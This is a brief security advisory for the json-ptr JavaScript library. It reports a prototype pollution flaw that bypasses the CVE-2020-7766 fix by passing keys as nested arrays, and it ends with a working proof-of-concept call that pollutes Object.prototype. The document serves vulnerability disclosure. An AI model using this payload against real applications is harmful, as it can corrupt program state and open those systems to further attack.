Prototype Pollution

json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.

PoC

const { JsonPointer } = require("json-ptr");

// JsonPointer.set({}, ['__proto__', 'polluted'], 'yes', true); 
// console.log(polluted); // Error: Attempted prototype pollution disallowed.

JsonPointer.set({}, [['__proto__'], 'polluted'], 'yes', true); 
console.log(polluted); // yes
